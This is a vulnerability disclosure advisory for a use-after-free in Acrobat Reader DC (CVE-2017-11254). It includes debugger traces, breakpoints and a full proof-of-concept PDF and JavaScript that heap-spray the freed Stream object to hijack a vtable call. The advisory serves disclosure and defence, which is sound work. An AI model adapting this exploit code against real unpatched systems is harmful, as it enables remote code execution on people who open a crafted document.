SSD Advisory – Acrobat Reader DC – Stream Object Remote Code Execution

blogs.securiteam.com/index.php/archives/3361

SSD / Maor Schwartz August 9, 2017

Vulnerability Summary
The following advisory describes a use after free vulnerability that leads to remote code execution found in Acrobat Reader DC version 2017.009.20044.

Credit
A security researcher from, Siberas, has reported this vulnerability to Beyond Security's SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address this vulnerability.
For more information: http://www.adobe.com/devnet-docs/acrobatetk/tools/ReleaseNotes/DC/dccontinuousaug2017.html#dccontinuousaugusttwentyseventeen

CVE: CVE-2017-11254

Vulnerability details
Adobe Reader DC, are affected by a Use After Free vulnerability. The vulnerability occurs due to a Stream object being dereferenced after it has been destroyed. The re-use of the freed object directly leads to a controllable vtable call. By controlling the vtable we can execute arbitrary code in the sandboxed *AcroRd32.exe* process.

The vtable pointer is read from offset 0x18 of the freed object:

```
(2ae4.3b20): Access violation - code c0000005 (!!! second chance !!!)
eax=08981638 ebx=006fc6f8 ecx=deadc0c6 edx=00000016 esi=08a9aeb8 edi=08c7b628
eip=5f0ed95d esp=006fb6a8 ebp=006fb6ac iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
AcroRd32_5f080000+0x6d95d:
5f0ed95d ff5118          call    dword ptr [ecx+18h]  ds:002b:deadc0de=????????

0:000> dd eax-8
08d018e0  aaaaaaaa aaaaaaaa aaaaaaaa aaaaaaaa // we deref offset 0x18 of the Stream object
08d018f0  aaaaaaaa aaaaaaaa deadc0c6 eeeeeeee // at offset 0x18 we find 0xdeadc0c6
// 0xdeadc0c6 + 0x18 == 0xdeadc0de
08d01900  eeeeeeee eeeeeeee eeeeeeee eeeeeeee
08d01910  eeeeeeee eeeeeeee eeeeeeee eeeeeeee
```

The Javascript code which triggers the vulnerable code path is:

```
function somefunc(){}

function obj1_read()
{
log("[obj1_read], get read property");
globarr.push(allocs(0x200, 0x88, basestring)); // [3]
return undefined;
}

function obj1_write()
{
log("[obj1_write], get write property");
return somefunc;
}

function obj2_read()
{
log("[obj2_read], get read property");
return undefined;
}

function obj2_write()
{
log("[obj2_write], get write property");
return somefunc;
}

obj1 = new Object(); // [1]
obj1.__defineGetter__("read", obj1_read);
obj1.__defineGetter__("write", obj1_write);
obj2 = new Object();
obj2.__defineGetter__("read", obj2_read);
obj2.__defineGetter__("write", obj2_write);

app.alert("crash @ 0xdeadc0de");
this.addAnnot( { "name" : obj1, "rect" : obj2, "type" : "Highlight"}); // [2]
```

At [1] we create two objects with defined getter-methods for the “read” and “write” properties. These two objects are passed as parameters to the native function “*this.addAnnot*” at [2].

During addAnnot the objects are checked for the “read” and “write” properties. If we return a valid function (in this case “somefunc”) for the “write” properties and “undefined” for the “read” properties, we trigger a Use-After-Free vulnerability.

Acrobat Reader DC initializes a temporary Stream object because the “write” property returns a valid function and destroys it immediately afterwards since “read” returns undefined. Due to the fact that a reference to the destroyed Stream object stays intact, we can reference the Stream object again after it has been freed.

There are further callbacks between the destruction and the re-use of the object which gives us the chance to re-allocate the freed buffer with controlled content (at [3]) and execute a controlled vtable call as soon as the Stream object is dereferenced again.

In order to debug the vulnerability, we will set the following breakpoints in Reader:

```
bp EScript+0x137ca3 ".printf \"log: %mu\\r\\n\", poi(poi(poi(esp+c)+10)+4); g"      // log breakpoint
bp AcroRd32.dll+0x111351 ".printf \"created Stream object @ 0x%x\\r\\n\", eax; g"     // Stream object constructor
bp AcroRd32.dll+0x116ABE ".printf \"destroy Stream object @ 0x%x\\r\\n\", esi; g"      // Stream object destructor
```

Debugging poc.pdf with Windbg and the breakpoints from above will give you following output:

```
0:012> bp EScript+0x137ca3 ".printf \"log: %mu\\r\\n\", poi(poi(poi(esp+c)+10)+4); g"
0:012> bp AcroRd32.dll+0x111351 ".printf \"created Stream object @ 0x%x\\r\\n\", eax; g"
0:012> bp AcroRd32.dll+0x116ABE ".printf \"destroy Stream object @ 0x%x\\r\\n\", esi; g"

0:012> g
log: [obj1_read], get read property
log: [obj1_write], get write property
created Stream object @ 0x826fbb0
log: [obj2_read], get read property
log: [obj2_write], get write property
created Stream object @ 0x826f100 // [1]
log: [obj2_read], get read property
destroy Stream object @ 0x826f100 // [2]
log: [obj1_read], get read property
destroy Stream object @ 0x826fbb0

(3f44.20b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=09025940 ebx=00f0c8b0 ecx=deadc0c6 edx=00000016 esi=093094f8 edi=07666460
eip=5f5ed95d esp=00f0b860 ebp=00f0b864 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
AcroRd32_5f580000!AcroWinMainSandbox+0x1e4d5:

5f5ed95d ff5118          call    dword ptr [ecx+18h]  ds:002b:deadc0de=????????  [3]

0:000> dd eax-8
0826f100  aaaaaaaa aaaaaaaa aaaaaaaa aaaaaaaa
0826f110  aaaaaaaa aaaaaaaa deadc0c6 eeeeeeee
0826f120  eeeeeeee eeeeeeee eeeeeeee eeeeeeee
0826f130  eeeeeeee eeeeeeee eeeeeeee eeeeeeee
```

In the debug log we can identify the allocation [1], destruction [2] and re-use [3] of the Stream object and the controlled vtable call at address *0xdead0cde*.

Proof of Concept

PoC.pdf

```
%PDF-1.1


1 0 obj
<<
/Type /Catalog
```

```
/Outlines 2 0 R
/Pages 3 0 R
/OpenAction 7 0 R
>>
endobj

2 0 obj
<<
/Type /Outlines
/Count 0
>>
endobj

3 0 obj
<<
/Type /Pages
/Kids [4 0 R]
/Count 1
>>
endobj

4 0 obj
<<
/Type /Page
/Parent 3 0 R
/MediaBox [0 0 612 792]
/Contents 5 0 R
/Resources <<
/ProcSet [/PDF /Text]
/Font << /F1 6 0 R >>
>>
>>
endobj

5 0 obj
<< /Length 56 >>
stream
BT /F1 12 Tf 100 700 Td 15 TL (JavaScript example) Tj ET
endstream
endobj

6 0 obj
<<
/Type /Font
/Subtype /Type1
/Name /F1
/BaseFont /Helvetica
/Encoding /MacRomanEncoding
>>
endobj

```

```
7 0 obj
<<
/Type /Action
/S /JavaScript
/JS (
console.show();
function log(s) {
console.println("-> " + s.toString());
Math.atan(s.toString());
}

function ptr2str(ptr)
{
/*
in: pointer
out: 2-char string which represents this pointer on the heap
*/
p1 = (((ptr >> 24) >>> 0) & 0xff).toString(16);
if(p1.length == 1) p1 = "0" + p1;
p2 = ((ptr >> 16) & 0xff).toString(16);
if(p2.length == 1) p2 = "0" + p2;
p3 = ((ptr >> 8) & 0xff).toString(16);
if(p3.length == 1) p3 = "0" + p3;
p4 = (ptr & 0xff).toString(16);
if(p4.length == 1) p4 = "0" + p4;
return eval("unescape('%u" + p3+p4 + "%u" + p1+p2 + "')");
}

basestring =
unescape("%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa")
+ ptr2str(0xdeadc0de - 0x18);
while(basestring.length < 0x100) basestring += unescape("%ueeee");

function allocs(count, size, basestring)
{
arr = [];
for(var i=0; i < count; i++) arr.push(basestring.substr(0, (size - 2) / 2).toUpperCase());
return arr;
}

globarr = [];

function somefunc(){}

function obj1_read()
{
log("[obj1_read], get read property");
globarr.push(allocs(0x200, 0x88, basestring));
return undefined;
}

function obj1_write()
{
log("[obj1_write], get write property");
return somefunc;
}

function obj2_read()
{
log("[obj2_read], get read property");
return undefined;
}

function obj2_write()
{
log("[obj2_write], get write property");
return somefunc;
}

obj1 = new Object();
obj1.__defineGetter__("read", obj1_read);
obj1.__defineGetter__("write", obj1_write);
obj2 = new Object();
obj2.__defineGetter__("read", obj2_read);
obj2.__defineGetter__("write", obj2_write);

app.alert("crash @ 0xdeadc0de");
this.addAnnot( { "name" : obj1, "rect" : obj2, "type" : "Highlight"});
app.alert("no crash!");

)
>>
endobj

xref
0 8
0000000000 65535 f
0000000012 00000 n
0000000109 00000 n
0000000165 00000 n
0000000234 00000 n
0000000412 00000 n
0000000526 00000 n
0000000650 00000 n
trailer
<<
/Size 8
/Root 1 0 R
>>
startxref
2504
%%EOF
```

PoC.js

```
console.show();
function log(s) {
console.println("-> " + s.toString());
Math.atan(s.toString());
}

function ptr2str(ptr)
{
/*
in: pointer
out: 2-char string which represents this pointer on the heap
*/
p1 = (((ptr >> 24) >>> 0) & 0xff).toString(16);
if(p1.length == 1) p1 = "0" + p1;
p2 = ((ptr >> 16) & 0xff).toString(16);
if(p2.length == 1) p2 = "0" + p2;
p3 = ((ptr >> 8) & 0xff).toString(16);
if(p3.length == 1) p3 = "0" + p3;
p4 = (ptr & 0xff).toString(16);
if(p4.length == 1) p4 = "0" + p4;
return eval("unescape('%u" + p3+p4 + "%u" + p1+p2 + "')");
}

basestring =
unescape("%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa%uaaaa")
+ ptr2str(0xdeadc0de - 0x18);
while(basestring.length < 0x100) basestring += unescape("%ueeee");

function allocs(count, size, basestring)
{
arr = [];
for(var i=0; i < count; i++) arr.push(basestring.substr(0, (size - 2) / 2).toUpperCase());
return arr;
}

globarr = [];

function somefunc(){}

function obj1_read()
{
log("[obj1_read], get read property");
globarr.push(allocs(0x200, 0x88, basestring));
return undefined;
}

function obj1_write()
{
log("[obj1_write], get write property");
return somefunc;
}

function obj2_read()
{
log("[obj2_read], get read property");
return undefined;
}

function obj2_write()
{
log("[obj2_write], get write property");
return somefunc;
}

obj1 = new Object();
obj1.__defineGetter__("read", obj1_read);
obj1.__defineGetter__("write", obj1_write);
obj2 = new Object();
obj2.__defineGetter__("read", obj2_read);
obj2.__defineGetter__("write", obj2_write);

app.alert("crash @ 0xdeadc0de");
this.addAnnot( { "name" : obj1, "rect" : obj2, "type" : "Highlight"});
app.alert("no crash!");
```